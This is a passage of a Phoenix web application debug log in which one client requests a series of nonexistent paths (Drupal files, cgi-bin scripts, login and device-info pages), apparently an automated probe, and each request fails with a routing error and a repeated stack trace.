    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:24.504000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45972] GET /cgi-bin/search
[Thu Sep  3 08:18:24.518000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45972] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:24.574000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45982] GET /core/misc/drupal.js
[Thu Sep  3 08:18:24.600000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45982] ** (Phoenix.Router.NoRouteError) no route found for GET /core/misc/drupal.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:25.361000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46000] GET /drupal/
[Thu Sep  3 08:18:25.390000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46000] ** (Phoenix.Router.NoRouteError) no route found for GET /drupal (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:25.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45996] GET /syslog.htm
[Thu Sep  3 08:18:25.969000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45996] ** (Phoenix.Router.NoRouteError) no route found for GET /syslog.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:25.996000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46010] GET /drupal/update.php
[Thu Sep  3 08:18:26.011000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46010] ** (Phoenix.Router.NoRouteError) no route found for GET /drupal/update.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:26.684000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46026] GET /drupal/misc/drupal.js
[Thu Sep  3 08:18:26.702000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46026] ** (Phoenix.Router.NoRouteError) no route found for GET /drupal/misc/drupal.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:27.337000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46034] GET /drupal/core/misc/drupal.js
[Thu Sep  3 08:18:27.351000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46034] ** (Phoenix.Router.NoRouteError) no route found for GET /drupal/core/misc/drupal.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:30.109000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46042] GET /cgi-bin/search.cgi
[Thu Sep  3 08:18:30.117000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46042] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:37.823000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59796] GET /cgi-bin/search/search.cgi
[Thu Sep  3 08:18:37.840000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59796] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:40.247000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59806] GET /jCsfAfsG.aspx
[Thu Sep  3 08:18:40.278000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59806] ** (Phoenix.Router.NoRouteError) no route found for GET /jCsfAfsG.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:43.455000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56402] GET /cgi-bin/status
[Thu Sep  3 08:18:43.466000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56402] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:45.726000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56418] GET /user/login
[Thu Sep  3 08:18:45.740000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56418] ** (Phoenix.Router.NoRouteError) no route found for GET /user/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:46.402000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56432] GET /probe/probeInfo
[Thu Sep  3 08:18:46.422000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56432] ** (Phoenix.Router.NoRouteError) no route found for GET /probe/probeInfo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:50.148000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56448] GET /cgi-bin/status.cgi
[Thu Sep  3 08:18:50.162000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56448] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:53.866000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54810] GET /js/webcfg.js
[Thu Sep  3 08:18:53.899000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54810] ** (Phoenix.Router.NoRouteError) no route found for GET /js/webcfg.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:54.652000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54814] GET /devinfo.xml
[Thu Sep  3 08:18:54.670000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54814] ** (Phoenix.Router.NoRouteError) no route found for GET /devinfo.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:18:55.759000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:54826] GET /cgi-bin/test.cgi
[Thu Sep  3 08:18:55.777000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:54826] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
